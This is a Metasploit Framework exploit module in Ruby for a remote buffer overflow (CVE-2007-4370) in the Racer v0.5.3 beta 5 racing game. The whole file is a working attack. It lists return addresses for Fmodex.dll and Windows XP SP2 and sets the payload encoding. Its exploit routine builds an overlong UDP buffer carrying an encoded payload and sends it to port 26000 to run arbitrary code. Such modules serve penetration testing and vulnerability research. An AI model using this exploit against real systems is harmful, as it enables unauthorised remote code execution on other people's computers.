Metasploit Framework

##

# $Id$

##

##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# web site for more information on licensing and terms of use.

#   http://metasploit.com/

##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

        Rank = GreatRanking

        include Msf::Exploit::Remote::Udp

        def initialize(info = {})

                super(update_info(info,

                        'Name'           => 'Racer v0.5.3 beta 5 Buffer Overflow',

                        'Description'    => %q{

                                        This module explots the Racer Car and Racing Simulator game

                                versions v0.5.3 beta 5 and earlier. Both the client and server listen

                                on UDP port 26000. By sending an overly long buffer we are able to

                                execute arbitrary code remotely.

                        },

                        'Author'         => [ 'Trancek <trancek[at]yashira.org>' ],

                        'License'        => MSF_LICENSE,

                        'Version'        => '$Revision$',

                        'References'     =>

                                [

                                        [ 'CVE', '2007-4370' ],

                                        [ 'OSVDB', '39601' ],

                                        [ 'URL', 'http://www.milw0rm.com/exploits/4283' ],

                                        [ 'BID', '25297' ],

                                ],

                        'Payload'        =>

                                {

                                        'Space'    => 1000,

                                        'BadChars' => "\x5c\x00",

                                        'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,

                                },

                        'Platform'       => 'win',

                        'Targets'        =>

                                [

                                        # Tested ok patrickw 20090503

                                        [ 'Fmodex.dll - Universal', { 'Ret' => 0x10073FB7 } ], # jmp esp

                                        [ 'Win XP SP2 English', { 'Ret' => 0x77d8af0a } ],

                                        [ 'Win XP SP2 Spanish', { 'Ret' => 0x7c951eed } ],

                                ],

                        'DisclosureDate' => 'Aug 10 2008',

                        'DefaultTarget' => 0))

                register_options(

                        [

                                Opt::RPORT(26000)

                        ], self.class)

        end

        def exploit

                connect_udp

                buf = Rex::Text.rand_text_alphanumeric(1001)

                buf << [target.ret].pack('V')

                buf << payload.encoded

                buf << Rex::Text.rand_text_alphanumeric(1196 - payload.encoded.length)

                udp_sock.put(buf)

                handler

                disconnect_udp

        end

end